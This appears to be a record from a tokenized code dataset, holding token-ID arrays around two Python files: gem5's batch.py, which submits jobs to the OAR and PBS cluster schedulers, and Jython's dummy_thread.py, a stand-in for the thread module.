[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ayoubg/gem5-graphics
gem5/util/batch/batch.py
90
7895
# Copyright (c) 2006 The Regents of The University of Michigan # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer; # redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution; # neither the name of the copyright holders nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # Authors: Kevin Lim import os, popen2, re, sys class MyPOpen(object): def __init__(self, cmd, input = None, output = None, bufsize = -1): self.status = -1 if input is None: p2c_read, p2c_write = os.pipe() self.tochild = os.fdopen(p2c_write, 'w', bufsize) else: p2c_write = None if isinstance(input, file): p2c_read = input.fileno() elif isinstance(input, str): input = file(input, 'r') p2c_read = input.fileno() elif isinstance(input, int): p2c_read = input else: raise AttributeError if output is None: c2p_read, c2p_write = os.pipe() self.fromchild = os.fdopen(c2p_read, 'r', bufsize) else: c2p_read = None if isinstance(output, file): c2p_write = output.fileno() elif isinstance(output, str): output = file(output, 'w') c2p_write = output.fileno() elif isinstance(output, int): c2p_write = output else: raise AttributeError self.pid = os.fork() if self.pid == 0: os.dup2(p2c_read, sys.stdin.fileno()) os.dup2(c2p_write, sys.stdout.fileno()) os.dup2(c2p_write, sys.stderr.fileno()) try: os.execvp(cmd[0], cmd) finally: os._exit(1) os.close(p2c_read) os.close(c2p_write) def poll(self): if self.status < 0: pid, status = os.waitpid(self.pid, os.WNOHANG) if pid == self.pid: self.status = status return self.status def wait(self): if self.status < 0: pid, status = os.waitpid(self.pid, 0) if pid == self.pid: self.status = status return self.status class oarsub: def __init__(self): self.walltime = None self.queue = None self.properties = None # OAR 2.0 parameters only! self.name = None self.afterok = None self.notify = None self.stderr = None self.stdout = None self.oarhost = None self.oarsub = 'oarsub' self.jobid = re.compile('IdJob = (\S+)') #self.outfile = open("jobnames.dat", "a+") def build(self, script, args = []): self.cmd = [ self.oarsub ] print "args:", args print "script:", script if self.properties: self.cmd.append('-p"%s"' % self.properties ) if self.queue: self.cmd.append('-q "%s"' % self.queue) if self.walltime: self.cmd.append('-l walltime=%s' % self.walltime) if script[0] != "/": self.script = os.getcwd() else: self.script = script self.cmd.extend(args) self.cmd.append(self.script) #cmd = [ 'ssh', '-x', self.oarhost, '"cd %s; %s"' % (os.getcwd(), self.command) ] self.command = ' '.join(self.cmd) print "command: [%s]" % self.command def do(self): oar = MyPOpen(self.cmd) self.result = oar.fromchild.read() ec = oar.wait() if ec != 0 and self.oarhost: pstdin, pstdout = os.popen4(self.command) self.result = pstdout.read() jobid = self.jobid.match(self.result) if jobid == None: print "Couldn't get jobid from [%s]" % self.result sys.exit(1) else: #self.outfile.write("%d %s\n" %(int(jobid.group(1)), self.name)); #self.outfile.flush() self.result = jobid.group(1) return 0 class qsub: def __init__(self): self.afterok = None self.hold = False self.join = False self.keep_stdout = False self.keep_stderr = False self.node_type = None self.mail_abort = False self.mail_begin = False self.mail_end = False self.name = None self.stdout = None self.priority = None self.queue = None self.pbshost = None self.qsub = 'qsub' self.env = {} def build(self, script, args = []): self.cmd = [ self.qsub ] if self.env: arg = '-v' arg += ','.join([ '%s=%s' % i for i in self.env.iteritems() ]) self.cmd.append(arg) if self.hold: self.cmd.append('-h') if self.stdout: self.cmd.append('-olocalhost:' + self.stdout) if self.keep_stdout and self.keep_stderr: self.cmd.append('-koe') elif self.keep_stdout: self.cmd.append('-ko') elif self.keep_stderr: self.cmd.append('-ke') else: self.cmd.append('-kn') if self.join: self.cmd.append('-joe') if self.node_type: self.cmd.append('-lnodes=' + self.node_type) if self.mail_abort or self.mail_begin or self.mail_end: flags = '' if self.mail_abort: flags.append('a') if self.mail_begin: flags.append('b') if self.mail_end: flags.append('e') if len(flags): self.cmd.append('-m ' + flags) else: self.cmd.append('-mn') if self.name: self.cmd.append("-N%s" % self.name) if self.priority: self.cmd.append('-p' + self.priority) if self.queue: self.cmd.append('-q' + self.queue) if self.afterok: self.cmd.append('-Wdepend=afterok:%s' % self.afterok) self.cmd.extend(args) self.script = script self.command = ' '.join(self.cmd + [ self.script ]) def do(self): pbs = MyPOpen(self.cmd + [ self.script ]) self.result = pbs.fromchild.read() ec = pbs.wait() if ec != 0 and self.pbshost: cmd = ' '.join(self.cmd + [ '-' ]) cmd = [ 'ssh', '-x', self.pbshost, cmd ] self.command = ' '.join(cmd) ssh = MyPOpen(cmd, input = self.script) self.result = ssh.fromchild.read() ec = ssh.wait() return ec
bsd-3-clause
[ 3, 1898, 334, 67, 9, 8315, 710, 5044, 24871, 402, 710, 15904, 402, 603, 1158, 528, 290, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 26771, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 27, 199, 3, 26771, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 27, 199, 3, 15564, 314, 536, 402, 314, 4248, 31976, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 3, 199, 3, 6642, 26, 25645, 11908, 14620, 199, 199, 646, 747, 12, 17758, 18, 12, 295, 12, 984, 199, 199, 533, 4932, 1512, 897, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 2088, 12, 1324, 275, 488, 12, 1072, 275, 488, 12, 17080, 275, 446, 17, 304, 267, 291, 14, 1205, 275, 446, 17, 398, 340, 1324, 365, 488, 26, 288, 299, 18, 67, 63, 739, 12, 299, 18, 67, 63, 952, 275, 747, 14, 4990, 342, 288, 291, 14, 475, 1739, 275, 747, 14, 23140, 8, 80, 18, 67, 63, 952, 12, 283, 87, 297, 17080, 9, 267, 587, 26, 288, 299, 18, 67, 63, 952, 275, 488, 288, 340, 1228, 8, 1210, 12, 570, 304, 355, 299, 18, 67, 63, 739, 275, 1324, 14, 9843, 342, 288, 916, 1228, 8, 1210, 12, 620, 304, 355, 1324, 275, 570, 8, 1210, 12, 283, 82, 358, 355, 299, 18, 67, 63, 739, 275, 1324, 14, 9843, 342, 288, 916, 1228, 8, 1210, 12, 1109, 304, 355, 299, 18, 67, 63, 739, 275, 1324, 288, 587, 26, 355, 746, 4281, 398, 340, 1072, 365, 488, 26, 288, 286, 18, 80, 63, 739, 12, 286, 18, 80, 63, 952, 275, 747, 14, 4990, 342, 288, 291, 14, 504, 1739, 275, 747, 14, 23140, 8, 67, 18, 80, 63, 739, 12, 283, 82, 297, 17080, 9, 267, 587, 26, 288, 286, 18, 80, 63, 739, 275, 488, 288, 340, 1228, 8, 1199, 12, 570, 304, 355, 286, 18, 80, 63, 952, 275, 1072, 14, 9843, 342, 288, 916, 1228, 8, 1199, 12, 620, 304, 355, 1072, 275, 570, 8, 1199, 12, 283, 87, 358, 355, 286, 18, 80, 63, 952, 275, 1072, 14, 9843, 342, 288, 916, 1228, 8, 1199, 12, 1109, 304, 355, 286, 18, 80, 63, 952, 275, 1072, 288, 587, 26, 355, 746, 4281, 398, 291, 14, 3150, 275, 747, 14, 11796, 342, 267, 340, 291, 14, 3150, 508, 378, 26, 288, 747, 14, 11048, 18, 8, 80, 18, 67, 63, 739, 12, 984, 14, 6626, 14, 9843, 1012, 288, 747, 14, 11048, 18, 8, 67, 18, 80, 63, 952, 12, 984, 14, 2703, 14, 9843, 1012, 288, 747, 14, 11048, 18, 8, 67, 18, 80, 63, 952, 12, 984, 14, 3083, 14, 9843, 1012, 288, 862, 26, 355, 747, 14, 1628, 11702, 8, 1760, 59, 16, 467, 2088, 9, 288, 3753, 26, 355, 747, 423, 2224, 8, 17, 9, 398, 747, 14, 1600, 8, 80, 18, 67, 63, 739, 9, 267, 747, 14, 1600, 8, 67, 18, 80, 63, 952, 9, 339, 347, 11271, 8, 277, 304, 267, 340, 291, 14, 1205, 665, 378, 26, 288, 4422, 12, 2004, 275, 747, 14, 2573, 3150, 8, 277, 14, 3150, 12, 747, 14, 55, 2826, 40, 3986, 9, 288, 340, 4422, 508, 291, 14, 3150, 26, 355, 291, 14, 1205, 275, 2004, 267, 372, 291, 14, 1205, 339, 347, 3618, 8, 277, 304, 267, 340, 291, 14, 1205, 665, 378, 26, 288, 4422, 12, 2004, 275, 747, 14, 2573, 3150, 8, 277, 14, 3150, 12, 378, 9, 288, 340, 4422, 508, 291, 14, 3150, 26, 355, 291, 14, 1205, 275, 2004, 267, 372, 291, 14, 1205, 421, 199, 533, 312, 285, 954, 26, 272, 347, 636, 826, 721, 277, 304, 267, 291, 14, 7567, 521, 275, 488, 267, 291, 14, 1825, 275, 488, 267, 291, 14, 3282, 275, 488, 398, 327, 593, 689, 499, 14, 16, 2633, 1454, 1, 267, 291, 14, 354, 275, 488, 267, 291, 14, 2756, 24208, 75, 275, 488, 267, 291, 14, 6814, 275, 488, 267, 291, 14, 3083, 275, 488, 267, 291, 14, 2703, 275, 488, 7318, 291, 14, 79, 285, 1102, 275, 488, 267, 291, 14, 79, 285, 954, 275, 283, 79, 285, 954, 7, 398, 291, 14, 2423, 344, 275, 295, 14, 2014, 360, 1304, 6694, 275, 14749, 51, 11, 5942, 267, 327, 277, 14, 4984, 275, 1551, 480, 2423, 1247, 14, 4616, 401, 298, 65, 21425, 339, 347, 1900, 8, 277, 12, 2884, 12, 1249, 275, 12319, 267, 291, 14, 1760, 275, 359, 291, 14, 79, 285, 954, 1622, 398, 870, 298, 589, 6783, 1249, 267, 870, 298, 1579, 6783, 2884, 267, 340, 291, 14, 3282, 26, 288, 291, 14, 1760, 14, 740, 3654, 80 ]
[ 1898, 334, 67, 9, 8315, 710, 5044, 24871, 402, 710, 15904, 402, 603, 1158, 528, 290, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 26771, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 27, 199, 3, 26771, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 27, 199, 3, 15564, 314, 536, 402, 314, 4248, 31976, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 3, 199, 3, 6642, 26, 25645, 11908, 14620, 199, 199, 646, 747, 12, 17758, 18, 12, 295, 12, 984, 199, 199, 533, 4932, 1512, 897, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 2088, 12, 1324, 275, 488, 12, 1072, 275, 488, 12, 17080, 275, 446, 17, 304, 267, 291, 14, 1205, 275, 446, 17, 398, 340, 1324, 365, 488, 26, 288, 299, 18, 67, 63, 739, 12, 299, 18, 67, 63, 952, 275, 747, 14, 4990, 342, 288, 291, 14, 475, 1739, 275, 747, 14, 23140, 8, 80, 18, 67, 63, 952, 12, 283, 87, 297, 17080, 9, 267, 587, 26, 288, 299, 18, 67, 63, 952, 275, 488, 288, 340, 1228, 8, 1210, 12, 570, 304, 355, 299, 18, 67, 63, 739, 275, 1324, 14, 9843, 342, 288, 916, 1228, 8, 1210, 12, 620, 304, 355, 1324, 275, 570, 8, 1210, 12, 283, 82, 358, 355, 299, 18, 67, 63, 739, 275, 1324, 14, 9843, 342, 288, 916, 1228, 8, 1210, 12, 1109, 304, 355, 299, 18, 67, 63, 739, 275, 1324, 288, 587, 26, 355, 746, 4281, 398, 340, 1072, 365, 488, 26, 288, 286, 18, 80, 63, 739, 12, 286, 18, 80, 63, 952, 275, 747, 14, 4990, 342, 288, 291, 14, 504, 1739, 275, 747, 14, 23140, 8, 67, 18, 80, 63, 739, 12, 283, 82, 297, 17080, 9, 267, 587, 26, 288, 286, 18, 80, 63, 739, 275, 488, 288, 340, 1228, 8, 1199, 12, 570, 304, 355, 286, 18, 80, 63, 952, 275, 1072, 14, 9843, 342, 288, 916, 1228, 8, 1199, 12, 620, 304, 355, 1072, 275, 570, 8, 1199, 12, 283, 87, 358, 355, 286, 18, 80, 63, 952, 275, 1072, 14, 9843, 342, 288, 916, 1228, 8, 1199, 12, 1109, 304, 355, 286, 18, 80, 63, 952, 275, 1072, 288, 587, 26, 355, 746, 4281, 398, 291, 14, 3150, 275, 747, 14, 11796, 342, 267, 340, 291, 14, 3150, 508, 378, 26, 288, 747, 14, 11048, 18, 8, 80, 18, 67, 63, 739, 12, 984, 14, 6626, 14, 9843, 1012, 288, 747, 14, 11048, 18, 8, 67, 18, 80, 63, 952, 12, 984, 14, 2703, 14, 9843, 1012, 288, 747, 14, 11048, 18, 8, 67, 18, 80, 63, 952, 12, 984, 14, 3083, 14, 9843, 1012, 288, 862, 26, 355, 747, 14, 1628, 11702, 8, 1760, 59, 16, 467, 2088, 9, 288, 3753, 26, 355, 747, 423, 2224, 8, 17, 9, 398, 747, 14, 1600, 8, 80, 18, 67, 63, 739, 9, 267, 747, 14, 1600, 8, 67, 18, 80, 63, 952, 9, 339, 347, 11271, 8, 277, 304, 267, 340, 291, 14, 1205, 665, 378, 26, 288, 4422, 12, 2004, 275, 747, 14, 2573, 3150, 8, 277, 14, 3150, 12, 747, 14, 55, 2826, 40, 3986, 9, 288, 340, 4422, 508, 291, 14, 3150, 26, 355, 291, 14, 1205, 275, 2004, 267, 372, 291, 14, 1205, 339, 347, 3618, 8, 277, 304, 267, 340, 291, 14, 1205, 665, 378, 26, 288, 4422, 12, 2004, 275, 747, 14, 2573, 3150, 8, 277, 14, 3150, 12, 378, 9, 288, 340, 4422, 508, 291, 14, 3150, 26, 355, 291, 14, 1205, 275, 2004, 267, 372, 291, 14, 1205, 421, 199, 533, 312, 285, 954, 26, 272, 347, 636, 826, 721, 277, 304, 267, 291, 14, 7567, 521, 275, 488, 267, 291, 14, 1825, 275, 488, 267, 291, 14, 3282, 275, 488, 398, 327, 593, 689, 499, 14, 16, 2633, 1454, 1, 267, 291, 14, 354, 275, 488, 267, 291, 14, 2756, 24208, 75, 275, 488, 267, 291, 14, 6814, 275, 488, 267, 291, 14, 3083, 275, 488, 267, 291, 14, 2703, 275, 488, 7318, 291, 14, 79, 285, 1102, 275, 488, 267, 291, 14, 79, 285, 954, 275, 283, 79, 285, 954, 7, 398, 291, 14, 2423, 344, 275, 295, 14, 2014, 360, 1304, 6694, 275, 14749, 51, 11, 5942, 267, 327, 277, 14, 4984, 275, 1551, 480, 2423, 1247, 14, 4616, 401, 298, 65, 21425, 339, 347, 1900, 8, 277, 12, 2884, 12, 1249, 275, 12319, 267, 291, 14, 1760, 275, 359, 291, 14, 79, 285, 954, 1622, 398, 870, 298, 589, 6783, 1249, 267, 870, 298, 1579, 6783, 2884, 267, 340, 291, 14, 3282, 26, 288, 291, 14, 1760, 14, 740, 3654, 80, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Distrotech/intellij-community
python/lib/Lib/dummy_thread.py
86
4494
"""Drop-in replacement for the thread module. Meant to be used as a brain-dead substitute so that threaded code does not need to be rewritten for when the thread module is not present. Suggested usage is:: try: import thread except ImportError: import dummy_thread as thread """ __author__ = "Brett Cannon" __email__ = "brett@python.org" # Exports only things specified by thread documentation # (skipping obsolete synonyms allocate(), start_new(), exit_thread()) __all__ = ['error', 'start_new_thread', 'exit', 'get_ident', 'allocate_lock', 'interrupt_main', 'LockType'] import traceback as _traceback import warnings class error(Exception): """Dummy implementation of thread.error.""" def __init__(self, *args): self.args = args def start_new_thread(function, args, kwargs={}): """Dummy implementation of thread.start_new_thread(). Compatibility is maintained by making sure that ``args`` is a tuple and ``kwargs`` is a dictionary. If an exception is raised and it is SystemExit (which can be done by thread.exit()) it is caught and nothing is done; all other exceptions are printed out by using traceback.print_exc(). If the executed function calls interrupt_main the KeyboardInterrupt will be raised when the function returns. """ if type(args) != type(tuple()): raise TypeError("2nd arg must be a tuple") if type(kwargs) != type(dict()): raise TypeError("3rd arg must be a dict") global _main _main = False try: function(*args, **kwargs) except SystemExit: pass except: _traceback.print_exc() _main = True global _interrupt if _interrupt: _interrupt = False raise KeyboardInterrupt def exit(): """Dummy implementation of thread.exit().""" raise SystemExit def get_ident(): """Dummy implementation of thread.get_ident(). Since this module should only be used when threadmodule is not available, it is safe to assume that the current process is the only thread. Thus a constant can be safely returned. """ return -1 def allocate_lock(): """Dummy implementation of thread.allocate_lock().""" return LockType() def stack_size(size=None): """Dummy implementation of thread.stack_size().""" if size is not None: raise error("setting thread stack size not supported") return 0 class LockType(object): """Class implementing dummy implementation of thread.LockType. Compatibility is maintained by maintaining self.locked_status which is a boolean that stores the state of the lock. Pickling of the lock, though, should not be done since if the thread module is then used with an unpickled ``lock()`` from here problems could occur from this class not having atomic methods. """ def __init__(self): self.locked_status = False def acquire(self, waitflag=None): """Dummy implementation of acquire(). For blocking calls, self.locked_status is automatically set to True and returned appropriately based on value of ``waitflag``. If it is non-blocking, then the value is actually checked and not set if it is already acquired. This is all done so that threading.Condition's assert statements aren't triggered and throw a little fit. """ if waitflag is None or waitflag: self.locked_status = True return True else: if not self.locked_status: self.locked_status = True return True else: return False __enter__ = acquire def __exit__(self, typ, val, tb): self.release() def release(self): """Release the dummy lock.""" # XXX Perhaps shouldn't actually bother to test? Could lead # to problems for complex, threaded code. if not self.locked_status: raise error self.locked_status = False return True def locked(self): return self.locked_status # Used to signal that interrupt_main was called in a "thread" _interrupt = False # True when not executing in a "thread" _main = True def interrupt_main(): """Set _interrupt flag to True to have start_new_thread raise KeyboardInterrupt upon exiting.""" if _main: raise KeyboardInterrupt else: global _interrupt _interrupt = True
apache-2.0
[ 624, 11070, 13, 262, 8343, 367, 314, 2462, 859, 14, 199, 199, 1352, 867, 370, 506, 1202, 465, 282, 330, 6322, 13, 10957, 23080, 880, 626, 25396, 1233, 1630, 199, 1397, 1929, 370, 506, 28286, 367, 1380, 314, 2462, 859, 365, 440, 3451, 14, 199, 199, 51, 17417, 4503, 365, 447, 339, 862, 26, 267, 492, 2462, 272, 871, 3545, 26, 267, 492, 7283, 63, 2671, 465, 2462, 199, 199, 624, 199, 363, 2502, 363, 275, 298, 34, 3292, 84, 445, 1189, 265, 2, 199, 363, 2123, 363, 275, 298, 66, 3292, 84, 32, 1548, 14, 1308, 2, 199, 199, 3, 1316, 5203, 1454, 7645, 2013, 701, 2462, 3794, 199, 3, 334, 27713, 24985, 9560, 5220, 706, 18310, 1062, 1343, 63, 1222, 1062, 4458, 63, 2671, 1012, 199, 363, 452, 363, 275, 788, 705, 297, 283, 928, 63, 1222, 63, 2671, 297, 283, 2224, 297, 283, 362, 63, 5425, 297, 283, 12991, 63, 831, 297, 1779, 283, 20172, 63, 973, 297, 283, 6432, 804, 418, 199, 199, 646, 5190, 465, 485, 6894, 199, 646, 3598, 199, 199, 533, 1125, 8, 1726, 304, 272, 408, 11324, 4514, 402, 2462, 14, 705, 1041, 339, 347, 636, 826, 721, 277, 12, 627, 589, 304, 267, 291, 14, 589, 275, 1249, 199, 199, 318, 1343, 63, 1222, 63, 2671, 8, 1593, 12, 1249, 12, 2074, 16420, 272, 408, 11324, 4514, 402, 2462, 14, 928, 63, 1222, 63, 2671, 1252, 339, 3599, 5880, 365, 26391, 701, 10663, 3238, 626, 1124, 589, 1040, 365, 282, 272, 2008, 436, 1124, 958, 1040, 365, 282, 2600, 14, 221, 982, 376, 1919, 365, 4915, 272, 436, 652, 365, 14838, 334, 6777, 883, 506, 4224, 701, 2462, 14, 2224, 1012, 652, 365, 272, 15604, 436, 6548, 365, 4224, 27, 1006, 1163, 4967, 787, 12487, 734, 272, 701, 1808, 5190, 14, 1361, 63, 2804, 1252, 339, 982, 314, 7934, 805, 4882, 26791, 63, 973, 314, 13483, 911, 506, 272, 4915, 1380, 314, 805, 2529, 14, 339, 408, 272, 340, 730, 8, 589, 9, 1137, 730, 8, 2960, 5109, 267, 746, 3146, 480, 18, 977, 1680, 1471, 506, 282, 2008, 531, 272, 340, 730, 8, 958, 9, 1137, 730, 8, 807, 5109, 267, 746, 3146, 480, 19, 6883, 1680, 1471, 506, 282, 1211, 531, 272, 2288, 485, 973, 272, 485, 973, 275, 756, 272, 862, 26, 267, 805, 2031, 589, 12, 1011, 958, 9, 272, 871, 14838, 26, 267, 986, 272, 871, 26, 267, 485, 6894, 14, 1361, 63, 2804, 342, 272, 485, 973, 275, 715, 272, 2288, 485, 20172, 272, 340, 485, 20172, 26, 267, 485, 20172, 275, 756, 267, 746, 13483, 199, 199, 318, 4458, 837, 272, 408, 11324, 4514, 402, 2462, 14, 2224, 20693, 272, 746, 14838, 199, 199, 318, 664, 63, 5425, 837, 272, 408, 11324, 4514, 402, 2462, 14, 362, 63, 5425, 1252, 339, 9336, 642, 859, 1077, 1454, 506, 1202, 1380, 2462, 578, 365, 440, 272, 2808, 12, 652, 365, 5048, 370, 5534, 626, 314, 1453, 2112, 365, 314, 272, 1454, 2462, 14, 221, 20227, 282, 4413, 883, 506, 19353, 2138, 14, 272, 408, 272, 372, 446, 17, 199, 199, 318, 18310, 63, 831, 837, 272, 408, 11324, 4514, 402, 2462, 14, 12991, 63, 831, 20693, 272, 372, 15536, 804, 342, 199, 199, 318, 3464, 63, 890, 8, 890, 29, 403, 304, 272, 408, 11324, 4514, 402, 2462, 14, 2340, 63, 890, 20693, 272, 340, 1568, 365, 440, 488, 26, 267, 746, 1125, 480, 6031, 2462, 3464, 1568, 440, 3748, 531, 272, 372, 378, 199, 